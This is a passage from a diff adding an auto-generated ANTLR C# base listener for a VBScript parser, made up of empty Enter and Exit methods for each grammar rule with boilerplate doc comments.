virtual void ExitModuleBody([NotNull] VBScriptParser.ModuleBodyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlock([NotNull] VBScriptParser.BlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlock([NotNull] VBScriptParser.BlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineLabel([NotNull] VBScriptParser.LineLabelContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineLabel([NotNull] VBScriptParser.LineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineBlock([NotNull] VBScriptParser.InlineBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineBlock([NotNull] VBScriptParser.InlineBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockStmt([NotNull] VBScriptParser.BlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockStmt([NotNull] VBScriptParser.BlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBeepStmt([NotNull] VBScriptParser.BeepStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBeepStmt([NotNull] VBScriptParser.BeepStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCloseStmt([NotNull] VBScriptParser.CloseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCloseStmt([NotNull] VBScriptParser.CloseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterConstStmt([NotNull] VBScriptParser.ConstStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitConstStmt([NotNull] VBScriptParser.ConstStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDateStmt([NotNull] VBScriptParser.DateStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDateStmt([NotNull] VBScriptParser.DateStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context) { } + /// + /// Enter a parse tree produced by the dlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDlStatement([NotNull] VBScriptParser.DlStatementContext context) { } + /// + /// Exit a parse tree produced by the dlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDlStatement([NotNull] VBScriptParser.DlStatementContext context) { } + /// + /// Enter a parse tree produced by the dwlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDwlStatement([NotNull] VBScriptParser.DwlStatementContext context) { } + /// + /// Exit a parse tree produced by the dwlStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDwlStatement([NotNull] VBScriptParser.DwlStatementContext context) { } + /// + /// Enter a parse tree produced by the dlwStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDlwStatement([NotNull] VBScriptParser.DlwStatementContext context) { } + /// + /// Exit a parse tree produced by the dlwStatement + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDlwStatement([NotNull] VBScriptParser.DlwStatementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEndStmt([NotNull] VBScriptParser.EndStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEndStmt([NotNull] VBScriptParser.EndStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterClassStmt([NotNull] VBScriptParser.ClassStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitClassStmt([NotNull] VBScriptParser.ClassStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEraseStmt([NotNull] VBScriptParser.EraseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEraseStmt([NotNull] VBScriptParser.EraseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterEventStmt([NotNull] VBScriptParser.EventStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitEventStmt([NotNull] VBScriptParser.EventStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterExitStmt([NotNull] VBScriptParser.ExitStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitExitStmt([NotNull] VBScriptParser.ExitStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGetStmt([NotNull] VBScriptParser.GetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGetStmt([NotNull] VBScriptParser.GetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGoSubStmt([NotNull] VBScriptParser.GoSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterGoToStmt([NotNull] VBScriptParser.GoToStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitGoToStmt([NotNull] VBScriptParser.GoToStmtContext context) { } + /// + /// Enter a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context) { } + /// + /// Exit a parse tree produced by the blockIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBlockIfThenElse([NotNull] VBScriptParser.BlockIfThenElseContext context) { } + /// + /// Enter a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context) { } + /// + /// Exit a parse tree produced by the inlineIfThenElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineIfThenElse([NotNull] VBScriptParser.InlineIfThenElseContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineIfBlockStmt([NotNull] VBScriptParser.InlineIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInlineElseBlockStmt([NotNull] VBScriptParser.InlineElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfBlockStmt([NotNull] VBScriptParser.IfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfConditionStmt([NotNull] VBScriptParser.IfConditionStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfElseIfBlockStmt([NotNull] VBScriptParser.IfElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfElseBlockStmt([NotNull] VBScriptParser.IfElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplementsStmt([NotNull] VBScriptParser.ImplementsStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterInputStmt([NotNull] VBScriptParser.InputStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitInputStmt([NotNull] VBScriptParser.InputStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterKillStmt([NotNull] VBScriptParser.KillStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitKillStmt([NotNull] VBScriptParser.KillStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMidStmt([NotNull] VBScriptParser.MidStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMidStmt([NotNull] VBScriptParser.MidStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLetStmt([NotNull] VBScriptParser.LetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLetStmt([NotNull] VBScriptParser.LetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineInputStmt([NotNull] VBScriptParser.LineInputStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLoadStmt([NotNull] VBScriptParser.LoadStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLoadStmt([NotNull] VBScriptParser.LoadStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLockStmt([NotNull] VBScriptParser.LockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLockStmt([NotNull] VBScriptParser.LockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLsetStmt([NotNull] VBScriptParser.LsetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLsetStmt([NotNull] VBScriptParser.LsetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfThenElseStmt([NotNull] VBScriptParser.MacroIfThenElseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockStmt([NotNull] VBScriptParser.MacroIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseIfBlockStmt([NotNull] VBScriptParser.MacroElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseBlockStmt([NotNull] VBScriptParser.MacroElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMkdirStmt([NotNull] VBScriptParser.MkdirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNameStmt([NotNull] VBScriptParser.NameStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNameStmt([NotNull] VBScriptParser.NameStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnErrorStmt([NotNull] VBScriptParser.OnErrorStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnGoToStmt([NotNull] VBScriptParser.OnGoToStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOnGoSubStmt([NotNull] VBScriptParser.OnGoSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOpenStmt([NotNull] VBScriptParser.OpenStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOpenStmt([NotNull] VBScriptParser.OpenStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOutputList([NotNull] VBScriptParser.OutputListContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOutputList([NotNull] VBScriptParser.OutputListContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOutputList_Expression([NotNull] VBScriptParser.OutputList_ExpressionContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPrintStmt([NotNull] VBScriptParser.PrintStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPrintStmt([NotNull] VBScriptParser.PrintStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertyGetStmt([NotNull] VBScriptParser.PropertyGetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertySetStmt([NotNull] VBScriptParser.PropertySetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPropertyLetStmt([NotNull] VBScriptParser.PropertyLetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPutStmt([NotNull] VBScriptParser.PutStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPutStmt([NotNull] VBScriptParser.PutStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRaiseEventStmt([NotNull] VBScriptParser.RaiseEventStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRandomizeStmt([NotNull] VBScriptParser.RandomizeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRedimStmt([NotNull] VBScriptParser.RedimStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRedimStmt([NotNull] VBScriptParser.RedimStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterResetStmt([NotNull] VBScriptParser.ResetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitResetStmt([NotNull] VBScriptParser.ResetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// 